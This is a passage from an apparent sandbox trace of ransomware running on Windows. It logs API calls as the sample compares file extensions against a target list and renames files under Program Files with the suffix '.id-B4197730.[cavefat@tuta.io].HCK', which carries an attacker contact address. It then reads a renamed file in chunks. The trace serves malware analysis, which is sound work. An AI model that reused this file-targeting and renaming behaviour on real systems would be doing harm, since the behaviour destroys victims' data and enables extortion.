(lpString=".ppt") returned 4 [0150.292] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0150.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0150.292] lstrlenW (lpString=".zip") returned 4 [0150.292] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0150.292] lstrlenW (lpString=".rar") returned 4 [0150.292] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0150.292] lstrlenW (lpString=".bz2") returned 4 [0150.292] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0150.292] lstrlenW (lpString=".7z") returned 3 [0150.292] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0150.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0150.292] lstrlenW (lpString=".dbf") returned 4 [0150.292] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0150.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0150.292] lstrlenW (lpString=".1cd") returned 4 [0150.292] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0150.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0150.292] lstrlenW (lpString=".jpg") returned 4 [0150.292] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0150.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0150.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0150.292] lstrlenW (lpString=".doc") returned 4 [0150.292] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0150.292] lstrlenW (lpString=".docx") returned 5 [0150.292] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0150.292] lstrlenW (lpString=".pdf") returned 4 [0150.292] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0150.292] lstrlenW (lpString=".xls") returned 4 [0150.292] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0150.292] lstrlenW (lpString=".xlsx") returned 5 [0150.292] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0150.292] lstrlenW (lpString=".ppt") returned 4 [0150.292] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0150.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0150.293] lstrlenW (lpString=".zip") returned 4 [0150.293] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0150.293] lstrlenW (lpString=".rar") returned 4 [0150.293] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0150.293] lstrlenW (lpString=".bz2") returned 4 [0150.293] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0150.293] lstrlenW (lpString=".7z") returned 3 [0150.293] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0150.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0150.293] lstrlenW (lpString=".dbf") returned 4 [0150.293] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0150.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0150.293] lstrlenW (lpString=".1cd") returned 4 [0150.293] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0150.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0150.293] lstrlenW (lpString=".jpg") returned 4 [0150.293] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0150.293] lstrcmpiW (lpString1=".dat", lpString2=".HCK") returned -1 [0150.293] lstrlenW (lpString="hwrenclm.dat") returned 12 [0150.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0150.293] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=498624) returned 1 [0150.293] CloseHandle (hObject=0x2f4) returned 1 [0150.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0150.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0150.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0150.293] lstrlenW (lpString=".doc") returned 4 [0150.294] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0150.294] lstrlenW (lpString=".docx") returned 5 [0150.294] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0150.294] lstrlenW (lpString=".pdf") returned 4 [0150.294] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0150.294] lstrlenW (lpString=".xls") returned 4 [0150.294] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0150.294] lstrlenW (lpString=".xlsx") returned 5 [0150.294] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0150.294] lstrlenW (lpString=".ppt") returned 4 [0150.294] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0150.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0150.294] lstrlenW (lpString=".zip") returned 4 [0150.294] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0150.294] lstrlenW (lpString=".rar") returned 4 [0150.294] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0150.294] lstrlenW (lpString=".bz2") returned 4 [0150.294] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0150.294] lstrlenW (lpString=".7z") returned 3 [0150.294] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0150.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0150.294] lstrlenW (lpString=".dbf") returned 4 [0150.294] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0150.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0150.294] lstrlenW (lpString=".1cd") returned 4 [0150.294] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0150.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0150.294] lstrlenW (lpString=".jpg") returned 4 [0150.294] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0150.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0150.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0150.294] lstrlenW (lpString=".doc") returned 4 [0150.294] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0150.294] lstrlenW (lpString=".docx") returned 5 [0150.294] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0150.294] lstrlenW (lpString=".pdf") returned 4 [0150.294] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0150.294] lstrlenW (lpString=".xls") returned 4 [0150.294] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0150.294] lstrlenW (lpString=".xlsx") returned 5 [0150.294] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0150.294] lstrlenW (lpString=".ppt") returned 4 [0150.294] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0150.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0150.294] lstrlenW (lpString=".zip") returned 4 [0150.294] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0150.294] lstrlenW (lpString=".rar") returned 4 [0150.294] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0150.294] lstrlenW (lpString=".bz2") returned 4 [0150.294] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0150.294] lstrlenW (lpString=".7z") returned 3 [0150.294] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0150.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0150.294] lstrlenW (lpString=".dbf") returned 4 [0150.294] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0150.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0150.295] lstrlenW (lpString=".1cd") returned 4 [0150.295] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0150.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0150.295] lstrlenW (lpString=".jpg") returned 4 [0150.295] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0150.295] lstrcmpiW (lpString1=".dat", lpString2=".HCK") returned -1 [0150.295] lstrlenW (lpString="hwrlatinlm.dat") returned 14 [0150.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0150.295] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=1100592) returned 1 [0150.295] CloseHandle (hObject=0x2f4) returned 1 [0150.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0150.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0150.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0150.295] lstrlenW (lpString=".doc") returned 4 [0150.295] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0150.295] lstrlenW (lpString=".docx") returned 5 [0150.295] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0150.295] lstrlenW (lpString=".pdf") returned 4 [0150.295] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0150.295] lstrlenW (lpString=".xls") returned 4 [0150.295] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0150.295] lstrlenW (lpString=".xlsx") returned 5 [0150.295] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0150.295] lstrlenW (lpString=".ppt") returned 4 [0150.295] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0150.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0150.295] lstrlenW (lpString=".zip") returned 4 [0150.295] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0150.296] lstrlenW (lpString=".rar") returned 4 [0150.296] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0150.296] lstrlenW (lpString=".bz2") returned 4 [0150.296] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0150.296] lstrlenW (lpString=".7z") returned 3 [0150.296] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0150.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0150.296] lstrlenW (lpString=".dbf") returned 4 [0150.296] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0150.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0150.296] lstrlenW (lpString=".1cd") returned 4 [0150.296] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0150.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0150.296] lstrlenW (lpString=".jpg") returned 4 [0150.296] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0150.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0150.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0150.296] lstrlenW (lpString=".doc") returned 4 [0150.296] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0150.296] lstrlenW (lpString=".docx") returned 5 [0150.296] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0150.296] lstrlenW (lpString=".pdf") returned 4 [0150.296] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0150.296] lstrlenW (lpString=".xls") returned 4 [0150.296] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0150.296] lstrlenW (lpString=".xlsx") returned 5 [0150.296] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0150.296] lstrlenW (lpString=".ppt") returned 4 [0150.296] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0150.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0150.296] lstrlenW (lpString=".zip") returned 4 [0150.296] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0150.296] lstrlenW (lpString=".rar") returned 4 [0150.296] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0150.296] lstrlenW (lpString=".bz2") returned 4 [0150.296] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0150.296] lstrlenW (lpString=".7z") returned 3 [0150.296] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0150.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0150.296] lstrlenW (lpString=".dbf") returned 4 [0150.296] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0150.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0150.296] lstrlenW (lpString=".1cd") returned 4 [0150.296] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0150.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0150.296] lstrlenW (lpString=".jpg") returned 4 [0150.296] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0150.296] lstrcmpiW (lpString1=".dat", lpString2=".HCK") returned -1 [0150.297] lstrlenW (lpString="hwrusalm.dat") returned 12 [0150.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0150.297] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2515696) returned 1 [0150.297] CloseHandle (hObject=0x2f4) returned 1 [0150.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0150.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.297] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0150.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0150.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0150.297] lstrlenW (lpString=".doc") returned 4 [0150.298] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0150.298] lstrlenW (lpString=".docx") returned 5 [0150.298] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0150.298] lstrlenW (lpString=".pdf") returned 4 [0150.298] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0150.298] lstrlenW (lpString=".xls") returned 4 [0150.298] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0150.298] lstrlenW (lpString=".xlsx") returned 5 [0150.298] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0150.298] lstrlenW (lpString=".ppt") returned 4 [0150.298] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0150.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0150.298] lstrlenW (lpString=".zip") returned 4 [0150.298] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0150.298] lstrlenW (lpString=".rar") returned 4 [0150.298] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0150.298] lstrlenW (lpString=".bz2") returned 4 [0150.298] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0150.298] lstrlenW (lpString=".7z") returned 3 [0150.298] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0150.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0150.298] lstrlenW (lpString=".dbf") returned 4 [0150.298] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0150.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0150.298] lstrlenW (lpString=".1cd") returned 4 [0150.298] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0150.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0150.298] lstrlenW (lpString=".jpg") returned 4 [0150.298] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0150.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0150.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0150.298] lstrlenW (lpString=".doc") returned 4 [0150.298] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0150.298] lstrlenW (lpString=".docx") returned 5 [0150.298] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0150.298] lstrlenW (lpString=".pdf") returned 4 [0150.298] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0150.298] lstrlenW (lpString=".xls") returned 4 [0150.298] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0150.298] lstrlenW (lpString=".xlsx") returned 5 [0150.298] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0150.298] lstrlenW (lpString=".ppt") returned 4 [0150.298] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0150.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0150.298] lstrlenW (lpString=".zip") returned 4 [0150.298] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0150.298] lstrlenW (lpString=".rar") returned 4 [0150.298] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0150.298] lstrlenW (lpString=".bz2") returned 4 [0150.298] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0150.298] lstrlenW (lpString=".7z") returned 3 [0150.298] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0150.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0150.299] lstrlenW (lpString=".dbf") returned 4 [0150.299] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0150.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0150.299] lstrlenW (lpString=".1cd") returned 4 [0150.299] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0150.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0150.299] lstrlenW (lpString=".jpg") returned 4 [0150.299] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0150.299] lstrcmpiW (lpString1=".dat", lpString2=".HCK") returned -1 [0150.299] lstrlenW (lpString="hwrusash.dat") returned 12 [0150.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0150.299] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3380096) returned 1 [0150.299] CloseHandle (hObject=0x2f4) returned 1 [0150.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0150.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0150.299] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0150.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0150.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0150.299] lstrlenW (lpString=".doc") returned 4 [0150.299] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0150.299] lstrlenW (lpString=".docx") returned 5 [0150.299] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0150.299] lstrlenW (lpString=".pdf") returned 4 [0150.300] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0150.300] lstrlenW (lpString=".xls") returned 4 [0150.300] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0150.300] lstrlenW (lpString=".xlsx") returned 5 [0150.300] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0150.300] lstrlenW (lpString=".ppt") returned 4 [0150.300] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0150.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0150.300] lstrlenW (lpString=".zip") returned 4 [0150.300] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0150.300] lstrlenW (lpString=".rar") returned 4 [0150.300] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0150.300] lstrlenW (lpString=".bz2") returned 4 [0150.300] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0150.300] lstrlenW (lpString=".7z") returned 3 [0150.300] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0150.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0150.300] lstrlenW (lpString=".dbf") returned 4 [0150.300] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0152.932] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0152.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0152.933] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fc64 | out: lpNewFilePointer=0x0) returned 1 [0152.933] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fc24 | out: lpNewFilePointer=0x0) returned 1 [0152.933] ReadFile (in: hFile=0x30c, lpBuffer=0x3c3c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x324fc30, lpOverlapped=0x0 | out: lpBuffer=0x3c3c058*, lpNumberOfBytesRead=0x324fc30*=0x40000, lpOverlapped=0x0) returned 1 [0152.935] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x324fc24 | out: lpNewFilePointer=0x0) returned 1 [0152.935] ReadFile (in: hFile=0x30c, lpBuffer=0x3c7c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x324fc30, lpOverlapped=0x0 | out: lpBuffer=0x3c7c058*, lpNumberOfBytesRead=0x324fc30*=0x40000, lpOverlapped=0x0) returned 1 [0152.942] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x324fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.943] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x324fc24 | out: lpNewFilePointer=0x0) returned 1 [0152.943] ReadFile (in: hFile=0x30c, lpBuffer=0x3cbc058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x324fc30, lpOverlapped=0x0 | out: lpBuffer=0x3cbc058*, lpNumberOfBytesRead=0x324fc30*=0x40000, lpOverlapped=0x0) returned 1 [0153.560] SetFilePointerEx (in: 